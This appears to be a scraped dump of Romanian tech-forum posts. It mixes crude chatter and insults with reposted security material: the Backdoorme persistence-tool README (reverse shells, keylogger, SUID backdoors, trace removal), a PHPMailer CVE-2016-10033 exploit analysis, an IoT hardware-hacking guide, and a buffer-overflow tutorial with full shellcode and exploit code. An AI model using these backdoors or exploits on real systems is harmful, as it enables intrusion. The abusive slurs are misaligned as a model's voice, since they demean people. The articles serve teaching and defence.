Byte-ul

Ok, ti-am dat add pe skype

Vreau eu ssd și monitorul. Ești din București? Ajung diseară acasă și vorbim. Ține-le pt mine pls

Ce cacat de titlu clickbait. Pune-l pe ala original.

A uitat @QuoVadis sa zica si de copy-paste-ul de cacat. Daca nu sunteti in stare sa dati copy paste cum trebuie, nu postati.

De aici isi da seama oricine ca esti retardat si se opreste din citit. " Orice neurochirurg cu experienta are mii de morti "

Vezi ip-ul de la gateway și îl bagi în browser.

Cand am vazut atatea linii am sperat sa fie versuri Dezamagire totala.

scz Referitor la olx..

Pai daca aia vad un retardat cu ceva ce seamana cu o arma, cred si eu ca se alarmeaza

https://github.com/Screetsec/TheFatRat

Tools like metasploit are great for exploiting computers, but what happens after you've gained access to a computer? Backdoorme answers that question by unleashing a slew of backdoors to establish persistence over long periods of time. Once an SSH connection has been established with the target, Backdoorme's strengths can come to fruition. Unfortunately, Backdoorme is not a tool to gain root access - only keep that access once it has been gained. Please only use Backdoorme with explicit permission - please don't hack without asking. Usage Backdoorme is split into two parts: backdoors and modules. Backdoors are small snippets of code which listen on a port and redirect to an interpreter, like bash. There are many backdoors written in various languages to give variety. Modules make the backdoors more potent by running them more often, for example, every few minutes or whenever the computer boots. This helps to establish persistence. Demonstration: Setup To start backdoorme, first ensure that you have the required dependencies. For Python 3.5+: $ sudo apt-get install python3 python3-pip python3-tk nmap $ cd backdoorme/ $ virtualenv --python=python3.5 env $ source env/bin/activate (env) $ pip install -r requirements.txt For Python 2.7: $ sudo python dependencies.py Getting Started Launching backdoorme: $ python master.py To add a target: >> addtarget Target Hostname: 10.1.0.2 Username: victim Password: password123 + Target 1 Set! >> Backdoors To use a backdoor, simply run the "use" keyword. >> use shell/metasploit + Using current target 1. + Using Metasploit backdoor... (msf) >> From there, you can set options pertinent to the backdoor. Run either "show options" or "help" to see a list of parameters that can be configured. To set an option, simply use the "set" keyword. (msf) >> show options Backdoor options: Option Value Description Required ------ ----- ----------- -------- name initd name of the backdoor False ... (msf) >> set name apache + name => apache (msf) >> show options Backdoor options: Option Value Description Required ------ ----- ----------- -------- name apache name of the backdoor False ... As in metasploit, backdoors are organized by category. Auxiliary keylogger - Adds a keylogger to the system and gives the option to email results back to you. simplehttp - installs python's SimpleHTTP server on the client. user - adds a new user to the target. web - installs an Apache Server on the client. Escalation setuid - the SetUID backdoor works by setting the setuid bit on a binary while the user has root acccess, so that when that binary is later run by a user without root access, the binary is executed with root access. By default, this backdoor flips the setuid bit on nano, so that if root access is ever lost, the attacker can SSH back in as an unpriviledged user and still be able to run nano (or any chosen binary) as root. ('nano /etc/shadow'). Note that root access is initially required to deploy this escalation backdoor. shell - the shell backdoor is a priviledge escalation backdoor, similar to (but more specific than) it's SetUID escalation brother. It duplicates the bash shell to a hidden binary, and sets the SUID bit. Note that root access is initially required to deploy this escalation backdoor. To use, while SSHed in as an unpriviledged user, simply run ".bash -p", and you will have root access. Shell bash - uses a simple bash script to connect to a specific ip and port combination and pipe the output into bash. bash2 - a slightly different (and more reliable) version of the above bash backdoor which does not prompt for the password on the client-side. sh - Similar to the first bash backdoor, but redirects input to /bin/sh. sh2 - Similar to the second bash backdoor, but redirects input to /bin/sh. metasploit - employs msfvenom to create a reverse_tcp binary on the target, then runs the binary to connect to a meterpreter shell. java - creates a socket connection using libraries from Java and compiles the backdoor on the target. ruby - uses ruby's libraries to create a connection, then redirects to /bin/bash. netcat - uses netcat to pipe standard input and output to /bin/sh, giving the user an interactive shell. netcat_traditional - utilizes netcat-traditional's -e option to create a reverse shell. perl - a script written in perl which redirects output to bash, and renames the process to look less conspicuous. php - runs a php backdoor which sends output to bash. It does not automatically install a web server, but instead uses the web module python - uses a short python script to perform commands and send output back to the user. web - ships a web server to the target, then uploads msfvenom's php reverse_tcp backdoor and connects to the host. Although this is also a php backdoor, it is not the same backdoor as the above php backdoor. Access remove_ssh - removes the ssh server on the client. Often good to use at the end of a backdoorme session to remove all traces. ssh_key - creates RSA key and copies to target for a passwordless ssh connection. ssh_port - Adds a new port for ssh. Windows windows - Uses msfvenom to create a windows backdoor. Modules Every backdoor has the ability to have additional modules applied to it to make the backdoor more potent. To add a module, simply use the "add" keyword. (msf) >> add poison + Poison module added Each module has additional parameters that can be customized, and if "help" is rerun, you can see or set any additional options. (msf) >> help ... Poison module options: Option Value Description Required ------ ----- ----------- -------- name ls name of command to poison False location /bin where to put poisoned files into False Currently enabled modules include: Poison Performs bin poisoning on the target computer - it compiles an executable to call a system utility and an existing backdoor. For example, if the bin poisoning module is triggered with "ls", it would would compile and move a binary called "ls" that would run both an existing backdoor and the original "ls", thereby tripping a user to run an existing backdoor more frequently. Cron Adds an existing backdoor to the root user's crontab to run with a given frequency. Web Sets up a web server and places a web page which triggers the backdoor. Simply visit the site with your listener open and the backdoor will begin. User Adds a new user to the target. Startup Allows for backdoors to be spawned with the bashrc and init files. Whitelist Whitelists an IP so that only that IP can connect to the backdoor. Targets Backdoorme supports multiple different targets concurrently, organized by number when entered. The core maintains one "current" target, to which any new backdoors will default. To switch targets manually, simply add the target number after the command: "use metasploit 2" will prepare the metasploit backdoor against the second target. Run "list" to see the list of current targets, whether a connection is open or closed, and what backdoors & modules are available. Contributing Backdoorme is still very much in its infancy! Feel free to contribute to the project - simply fork it, make your changes, and issue a pull request. Have an idea for a killer backdoor, or something we could improve? Make an issue and we'll add it ASAP! Please email us at backdoormegit@gmail.com with any questions. If you wish to add your own backdoor, follow the directions given in the backdoorme/backdoors/template.py file. If you wish to add your own module, follow the directions given in the backdoorme/modules/template.py file. Cheat Sheet for developers: Execute command on system: self.core.curtarget.ssh.exec_command("command") Retrieve an option: self.get_value("option") Execute command on system with root: self.target.ssh.exec_command("echo " + self.core.curtarget.pword + " | sudo -S command") Source: https://github.com/Kkevsterrr/backdoorme

PHP is an open source, general-purpose scripting language used for web development that can also be embedded into HTML. It has over 9 million users, and is used by many popular tools, such as WordPress, Drupal, Joomla!, and so on. This week, a high-level security update was released to fix a remote code execution vulnerability (CVE-2016-10033) in PHPMailer, which is an open source PHP library for sending emails from PHP websites. This critical vulnerability is caused by class.phpmailer.php incorrectly processing user requests. As a result, remote attackers are able to execute code on vulnerable servers. This vulnerability affects PHPMailer versions before 5.2.18. Analysis When sending an email with PHPMailer, the normal process is, 1) PHPMailer gets user requests, 2) PHPMailer validates the user supplied data, 3) PHPMailer sends the data to the PHP mail() function to send the email. In the validation stage, PHPMailer validates the user supplied data, as shown in the code below. This validator uses standard validation methods, like PHP’s built-in FILTER_VALIDATE_EMAIL, pcres from squiloople.com, and html5 default patterns for email type. For example, the $address with value “attacker -InjectedParam @example.com” will be rejected. But these methods follow RFC3696, which means the email address can contain spaces when quoted with “"”, so an $address with value “"attacker -InjectedParam"@example.com” will pass through the filter. After the validation stage, PHPMailer will send the email elements, such as receiver address, subject, body, header, and sender address to the PHP mail() function to send the email. The code is shown below. The issue here is that PHPMailer doesn’t sterilize these email values before sending them to the mail() function. It just returns the and then sends the $result to the mail() function with the same set of parameters. This issue enables the subsequent attacks. For example, when sending the request with email address: The mail() function will execute /usr/bin/sendmail with 4 arguments, “/usr/bin/sendmail”, “-t”, “-i” and “-fattacker -InjectedParam@example.com”. However, an attacker could break the fourth argument by injecting a parameter with “\"”. For example, using the email address: This email address will let the sendmail function execute 6 arguments, “/usr/bin/sendmail”, “-t”, “-i”, “-fattacker”, “-InjectedParam1” and “-InjectedParam2"@example.com”. How to Reproduce In order to reproduce the attack, I have built a web server, as shown in Figure 1. Figure 1. Testing the PHPMailer server The source code is: This is a form similar to the “send feedback” function on some online websites. An attacker could send an email with a malicious email address to execute sendmail arguments, such as: The PHP code can then be added to the Name or Message part of the string. For example,. This is shown in Figure 2, below. Figure 2. Sending the attack email Before sending this email, the files in the web root directory are shown in Figure 3. The index.php is the code of the webpage shown in Figure 1 ,and the directory “vulnerable” contains the PHPMailer files. Figure 3. Web root directory before sending the attack email The payload for sending this email is shown in Figure 4, below. Figure 4. Attack payload After sending this attack email, a new file “test.php” is created. It contains the RAW data for sending this email, which contains our PHP code “”. It’s shown in Figure 5. Figure 5. Web root directory after sending the attack email Then we can access our shell PHP file test.php and run commands. For example, we could execute the command “cat /etc/passwd”, as shown in Figure 6. Figure 6. Execute the command “cat /etc/passwd” on a test web server In conclusion, the actual attack could be an arbitrary file upload that exploits the vulnerability in the PHPMailer filter for the sender email address. This means that an attacker could send an email with malicious code to the server, use the sendmail arguments to move the log file with the malicious code to the web root directory, and then execute the code remotely. Solution All users of PHPMailer should upgrade to the latest version immediately. Additionally, organizations that have deployed Fortinet IPS solutions are already protected from this vulnerability with the signature PHPMailer.Remote.Code.Execution. Source: http://blog.fortinet.com/2017/01/05/analysis-of-phpmailer-remote-code-execution-vulnerability-cve-2016-10033

The Introductory IoT Hardware Hacking Tool Box Aggregated here you will find some of the most popular tools for reverse engineering embedded electronics, as well as some documentation and tutorials on how to get started using them. If you have been interested in hardware hacking and modding, and even developing software exploits there has never been a better time to jump in and learn. Based on the items listed here I will introduce you to some foundational knowledge so that you can start your journey. The general process to hardware hacking follows a few main steps. First you want to pick a target device that interests you. You may want to pick a device with known vulnerabilities to practice on or a high value target. The Exploitee.rs Wiki has a range of IoT devices with known vulnerabilities and directions on how to exploit them. (Check out this UART to root shell on a Wink hub.) High value could mean that it is a popular consumer electronic device or that comprising it could have have a large impact on safety and privacy. Next you will need to gain access to the hardware’s electronics. This is bit more involved since a lot of devices are physically designed to make it difficult to access the embedded electronics. They have hard plastic shells and hidden screws that require uncommon bits to open. Finally using the following hardware tools you will identify debug ports and serial protocol interfaces, dump firmware, and reverse engineer the target device. Hardware These tools will allow you to explore your target device through the hardware’s various serial bus interfaces or allow you to dump the firmware image from the device for reverse engineering the software. The firmware image is a compressed file, containing the operating system and its files, it may contain interesting things like the code to the web interface that most these devices have. You can then run that dumped code and reverse engineer it on an emulator like QEMU. Some of the main serial bus interfaces that the following hardware tools can connect to are JTAG, UART, I2C, and SPI. (Please refer to the links on the previous listed protocols to get in-depth explanations of them from a hardware hacking perspective.) Researching all the serial interfaces and their protocols will help you understand how to effectively use following hardware tools for reverse engineering and exploiting IoT devices. Shikra Purchase Resources: Xipiter’s how to use guide This device is touted as a more stable tool compared to the Bus Pirate. The hardware is very reliable and stable for connecting to UART, JTAG, and SPI. Many people in the Software Exploitation via Hardware Exploitation community really enjoy using this somewhat lesser known device and is used in the SEXviaHEXtraining. If you want to pull the firmware image off a target IoT device for software exploitation then the Shikra is a great tool for the job. Just connect the Shikra to the target device’s SPI chip. You may need an 8-pin SOIC clip to connect the Shikra to the SPI interface. In the how to use guide linked above, it was claimed to have taken the Bus Pirate 30 minutes to dump a 4MB firmware image off a device compared to just under a minute for the Shikra to do the same job. The Shikra may be something less people are familiar with, but it provides consistent, powerful and fast performance for certain jobs. https://en.wikipedia.org/wiki/Bus_Pirate Bus Pirate Purchase Resources: Documentation Forums Dangerous Prototypes’ tutorial This is one of the most widely used tools out there right now. At the time of this blog’s posting the Bus Pirate version 4 official firmware development seems to have been abandoned. This has caused a lot of headaches for users struggling to get features to work on version 4 as well as they did on version 3. For example some people have had difficulties with getting JTAG support to work on version 4. As stated in the documentation link, the version 3 firmware has a strong community effort behind it. As long as there is a strong community backing this tool that community will be committed to fixing and maintaining the firmware of the Bus Pirate. Overall the Bus Pirate is a vey robust tool. Finding someone to help you use it will not be hard, try joining the forums. https://www.parallax.com/product/32115 JTAGulator Purchase Resources: Joe Grand’s video overview of the tool Senrio’s explanation of JTAG Besides looking badass this tool is great for identifying what the the different pinouts and chips do on the target device. When you open up the device it is not going to be obvious what pinouts and chips run which serial protocols. Testing each one with the JTAGulator will help you find your UART, JTAG, SPI, and other serial protocol interfaces. http://hackerwarehouse.com/product/facedancer21/ Facedancer21 Purchase Resources: Travis Goodspeed’s blog GoodFET’s documentation Not every IoT device is going to have a USB port, but this tool can be very useful when one is available. The Facedancer, besides having a cool name, essentially lets your computer become the USB drive plugged into a device. Within this emulation you can communicate to the target device over the USB bus with Python. Devices often trust USB drives plugged into them so exploring the target device from this perspective can be very rewarding. https://www.sparkfun.com/products/8430 Make sure you get all the probes and jumper cables required for connecting the target device to the hacking tool and then back to your computer. Most of these linked articles for these hardware tools show what you will need. The wires and cables will plug onto the pinouts or clip onto different chips. Having a variety of male to male, female to female, and male to female wires is definitely helpful. https://www.seeedstudio.com/Bus-Pirate-v3-probe-Kit-p-526.html Tools It may not be as interesting as the the hardware tools above, but before you can even get to the IoT device’s juicy electronic guts you need to make sure you have the proper tools to gain access to them. If you are feeling cheap then you can always just skip this last section and smash the IoT device open with a rock. Tempting as that might sound you risk damaging the electronics. Many IoT devices use screws that require tools other than Phillips or flathead. You are likely to encounter Torx security, tri-point, gamebit, and spanner screws to name a few. The screws also require 1–4mm bits to unscrew them. https://www.ifixit.com/Store/Tools/64-Bit-Driver-Kit/IF145-299 64 Bit Driver Kit Purchase The 64 Bit Driver Kit is a highly recommended set of bits that should help get you into most electronic devices much better than 32 bit or 16 bit. This set has about 15 types of screw bits with multiple sizes of each. This might be overkill to add to your tool set, but you probably won’t ever have to buy anymore bits after getting this set! If you know what screws your device has then you can find much smaller kits with the specific pieces you need. https://www.ifixit.com/Store/Tools/Jimmy/IF145-259 Jimmy (spudger) Purchase Another great tool for you you to have on hand when trying to pry these devices open is some type of jimmy. Many of these devices will be sealed closed with some sort of snap together plastic. Using a tool like this can help you pull the plastic shells apart and let you gain access to the electronic goodies inside. If you think this is too much of a uni-tasker then you can fashion a similar tool yourself. Even a sturdy guitar pick could work! Source: https://blog.securityevaluators.com/the-introductory-iot-hardware-hacking-tool-box-389c4605329f#.8thh1ho2h

http://www.autosectools.com/process-hollowing.pdf https://cysinfo.com/detecting-deceptive-hollowing-techniques/

Remote arbitrary system command execution with root privileges without authentication Stii daca poate fi accesata interfata routerului si de pe wifi free? Nu sunt acum acasa sa verific.

Ever heard of a buffalo overflow? Me neither. An information security officer (ISO) mentioned it to me once, and frankly I had to Google it. Apparently it’s related to an ancient Indian technique where hunters herded bison and drove them over a cliff, breaking their legs and rendering them immobile. Tribe members waiting below closed in with spears and bows to finish the kills. That's kinda cruel to be talking about. I think the ISO meant a buffer overflow though . That I can tell a thing or two about, so in this blog I will explain how a basic buffer overflow exploitation works. A buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffers boundary and overwrites adjacent memory locations. Writing data outside the allocated memory space boundaries may lead to a program crash and in some cases could even give an attacker the ability to change the program application flow. In this blog I will show how a mini-application, written in C, can run arbitrary code by making use of a buffer overflow. I will use Microsoft Visual Studio 2013 to debug the application and I'll use Windows 8 as a host operation system. Please note that this blog only serves to give a basic explanation, therefore some modern protection mechanisms against buffer overflow exploitations will be disabled. This makes it somewhat easier to illustrate the basic mechanisms. The stack In order to understand a buffer overflow, some very basic knowledge of a computers program memory layout is necessary. Another requirement is some basic insight in what happens when a program function calls another function. A programs memory is also referred to as the process address space, which is all the memory a program can address. The process address space is partitioned into various memory areas based on the functional differences, each region has its own purpose and stores different kind of data. The two most important regions are the stack and the heap. In this blog we will only focus on the stack, a concept that has some similarities with a real life stack of objects. Data chunks of varying size (called stack frames) are stored on the stack in LIFO (last in, first out) order. Putting additional data on the stack makes the stack expand towards lower memory addresses. The memory address of the top of the stack, indicated by the stack pointer, is stored in a CPU register called ESP. For each active instance of a program function, a stack frame is put on the stack. A stack frame contains a bunch of things, the most important ones are: -the local variables of the function -the functions arguments -the frame pointer (points to the start of the stack frame, stored in CPU register called EBP) of the calling function -the address in memory containing an instruction that needs to be executed once the function has completed, also known as the return address. When a program calls a function, that function does whatever it is supposed to do (including calling other functions), and then returns to the function that called it. To go back to the calling function, there must be a record of what that calling function was: execution should resume from the instruction after the function call instruction. The address of this instruction is the above mentioned return address. Whenever a function is called, the return address is pushed onto the stack. Whenever a function returns (by calling the RET operand), the return address is popped off the stack, and the processor begins executing the instruction at that address. Normal program flow Let’s study the following simple C program. The program has two functions. The function foo is called by the main function and contains a local variable, an array. The array will be called a buffer and in the code below the buffer gets filled with data. #include <stdio.h> #include <stdlib.h> int foo(); int main() { foo(); return 0; } int foo() { int i; unsigned char buffer[600] = ""; for(i = 0; i < 600; i++) buffer[i] = 'x'; return 0; } When compiled, the above program will be translated from C code to assembly code. When executing the program, the assembly code will be loaded in memory, included libraries (DLL’s) will be loaded into memory, and the programs stack and heap will be initialized. When the foofunction is called, the simplified stack will look similar as the stack on image one. Image 1: Visual representation of the stack when calling a function. The simplified stack contains a stack frame of the (calling) main function and a stack frame of the (called) foo function. The stack frame of the foo function contains the memory address containing the next instruction that needs to be executed when the foo function is finished, also known as the return address. The stack frame also contains the frame pointer of the mainfunction, as well as the local array variable. In visual studio 2013 it is very easy to set a breakpoint near the return of the foo function, and to investigate how the memory looks like. On the image below we can see that our ‘return’ in the C code is translated by the compiler into assembly, and that this assembly code is loaded into memory (cfr. disassembly window). In the memory window we can spot our filled buffer, our saved frame pointer and our return address (note that the addresses are saved in little endian notation, which means you have to read them from right to left). Image 2: memory and disassembly view in Visual Studio (normal program flow) When stepping over the return breakpoint (i.e. stepping over the RET instruction), the return address will be popped of the stack, and the execution continues from there on. This execution is considered the normal program flow. Changing the application flow Still reading? Now that we have gone through the very basics, we can finally look into the interesting stuff. By now the function of the return address pointer should be clear. If we can modify the value in the return pointer, and point it to a location in memory that contains our own piece of code, then we could change the application flow and make it execute something different (other than returning back to the original place). But how do we change the return address? Well, by… …overflowing the buffer (hence the term ‘buffer overflow’) . In our simple C program above, we defined the size of the buffer and we used strcpy to copy values into the buffer. The strcpy function doesn’t care if we copy more data than the size of the buffer can hold, the function will just keep on filling the memory with the provided data. In our simple C program, that would lead to the saved frame pointer and the return address being overwritten with data that is placed in the buffer array (note that the strcpy fills the buffer from low to high memory addresses). Overwriting the return address with some random data would only lead to a program crash. However, if we can also add our own assembled code (also known as shellcode) into the memory, by appending it to the buffer, it would make sense to change the return address to the start of our shellcode. Unfortunately, it isn’t that easy. There are two problems regarding overwriting the return address with the (starting) address of our shellcode: 1) We don't know what the memory address containing our shellcode will be. (When a program is loaded into memory, it isn’t always loaded exactly in the same memory spot. This means that we can not simply statically define the location of the shellcode). 2) Say we can exactly pinpoint the location of our shellcode. This memory location will probably start with a null byte. If we try to add this memory location to our buffer, the strcpy will stop copying other data in the buffer, because a null byte indicates the end of an array. We will thus need an alternative method. A popular buffer overflow method that can help us out is the ‘DLL trampolining’ method. The goal of this method is to change the return address to a memory address which contains a ‘jump to stack pointer’ instruction, written as ‘JMP ESP’ in assembly. This instruction can often be found in the code of included libraries (DLLs). If we fill our array buffer with the following data, we will be able to overflow the buffer, change the application flow and execute our own code: -random characters (as many as needed to overflow the buffer) -the memory address of the JMP ESP instruction (this address will overwrite the return address). The stack pointer will point to the memory area laying close to the return address. Finding a memory address containing a JMP ESP instruction can easily be done with a debugger, as shown in image 4. -NOP slide and shellcode (a NOP slide is a technique to allow ourselves to create some margin when jumping to the stack pointer. A NOP instruction doesn’t perform an action, it will just make the CPU jump to the next available instruction in memory. This way, there is a higher chance of jumping to the start of the shellcode, even when the stack pointer doesn’t exactly point at the start of our shellcode). In the example program, a NOP slide isn't really necessary, nevertheless I have chosen to add it as a visual indicator (shown as 90 byte) in the memory map. An example memory layout of an overflowed buffer with this kind of data is shown on image 3. Image 3: Visual representation of the stack when a buffer overflow occurs Image 4: Searching for a 'JMP ESP' instruction in memory with the help of Immunity Debugger Based on the information discussed above, the full application source code becomes the following: int foo(); int main() { foo(); return 0; } char shellcode[] = "\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B" "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9" "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" "\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72" "\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F" "\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01" "\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65" "\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B" "\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42" "\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24" "\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57" "\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01" "\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F" "\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24" "\x40\xFF\x54\x24\x40\x57\xFF\xD0"; #define TRASH 0x41 #define RET 0x7722BD56 //address in memmory containing a JMP ESP instruction int foo() { unsigned char buffer[600] = ""; int i; for(i = 0; i < 600; i++) buffer[i] = 'x'; char overwriteBuffer[1200]; char *ptr = overwriteBuffer; memset(overwriteBuffer, 0, sizeof(overwriteBuffer)); for (i = 0; i < 612; i++) (*ptr++) = TRASH; //612 bytes of rubbish //overwrite return address (return address contains jmp esp, call esp) *(unsigned long *)&overwriteBuffer[608] = RET; strcat(overwriteBuffer, "\x90\x90\x90\x90"); //small visual NOP slide strcat(overwriteBuffer, shellcode); //shellcode to display MessageBox strcpy(buffer, overwriteBuffer); return 0; } In the introduction we stated that we would disable some modern mechanisms which prevent this kinds of buffer overflows. We disable some security checks in visual studio, as well as data execution prevention (DEP). DEP is a security measure which disables executing instructions in memory areas flagged as 'data only' memory areas. Image 5: Disabling security check en Data Execution Prevention (DEP) Debugging the buffer overflow program: memory land To end this blog, I will show what happens when the C code above is compiled and executed. We will set a breakpoint at the return instruction of the 'foo' function. With the help of Visual Studio, two windows are displayed: a memory map and a disassembly map. If we break the program execution at the 'RET' instruction, we can see that the buffer has been overflowed: the buffer has been filled with random characters, the saved frame pointer has been overwritten, as well as the return address, which has been overwritten with a memory address containing a JMP ESP instruction. Our shellcode has also been placed adjacent to our memory address, as indicated on image six. Image 6: memory and disassembly view in Visual Studio (buffer overflow) When executing the 'RET' instruction, the return address will be popped of the stack. The instruction found at the return address (in my case: 0x7722BD56) will be executed, as shown on image seven. The instruction will cause a jump to the address stored in the stack pointer (SP), in the example program this is the address area adjacent to the stored return address (0x0048F838, note that this address contains a null byte, and thus couldn't be stored in the buffer). The address stored in the stack pointer contains a NOP slide. The NOP instructions aren't really necessary in our case, but nevertheless it will ensure a smooth transition to the execution of our shellcode. Finally our shellcode (which displays a message box) will be executed. Image 7: memory and disassembly view in Visual Studio (executing shellcode) Sursa: https://www.uperesia.com/buffer-overflow-explained

De ce sa platesti 30 euro? Ai inteles gresit. Pentru numele de domenii „.ro” înregistrate înainte de data de 01.07.2012, deținătorii dreptului de utilizare au obligația de a achita tariful de mentenanță anual în intervalul 01.07.2017-01.10.2017. Pentru domeniile „.ro” înregistrate în intervalul 01.07.2012 – 01.07.2017, tariful de mentenanță anual va fi achitat în momentul în care dreptul de utilizare a numelui de domeniu „.ro” este egal cu 5 ani de la data înregistrării. Deci, daca il ai inregistrat inainte de 01.07.2012, trebuie sa platesti cei 10 euro (sau cat cer) pentru a-l prelungi cu un an, nimic altceva. Daca il inregistrezi in intervalul 01.07.2012 - 01.07.2017, va trebui sa platesti anual abia dupa 5 ani. Daca vreti domeniu .ro, acum este timpul sa luati unul pentru a sta linistiti 5 ani Cu ce isi strica rotld imaginea daca voi nu stiti sa cititi?

PRICING "List Price" means the suggested retail price of a product as provided by a manufacturer, supplier, or seller. We regularly check List Prices against prices recently found on Amazon and other retailers. Certain products may have a "Was Price" displayed, which is determined using recent price history of the product on Amazon. With respect to items sold by Amazon, we cannot confirm the price of an item until you order. Despite our best efforts, a small number of the items in our catalog may be mispriced. If the correct price of an item sold by Amazon is higher than our stated price, we will, at our discretion, either contact you for instructions before shipping or cancel your order and notify you of such cancellation. Other merchants may follow different policies in the event of a mispriced item. We generally do not charge your credit card until after your order has entered the shipping process or, for digital products, until we make the digital product available to you. https://www.amazon.com/gp/help/customer/display.html/ref=help_search_1-1?ie=UTF8&nodeId=508088&qid=1467569772&sr=1-1

Am pus link catre youtube

wut?

Last year, we demonstrated Linux running on the PS4 in a lightning talk - presented on the PS4 itself. But how did we do it? In a departure from previous Console Hacking talks focusing on security, this year we're going to focus on the PS4 hardware, what makes it different from a PC, and how we reverse engineered it enough to get a full-blown Linux distro running on it, complete with 3D acceleration.

lma ba. si bani, valoare, etc, etc

In niciun caz AMD. Uita-te la sisteme pe aici: http://www.mygarage.ro/wishlist/

Referitor la Digi, esti sigur ca din cauza modemului nu ai semnal si nu din cauza acoperirii lor de cacat?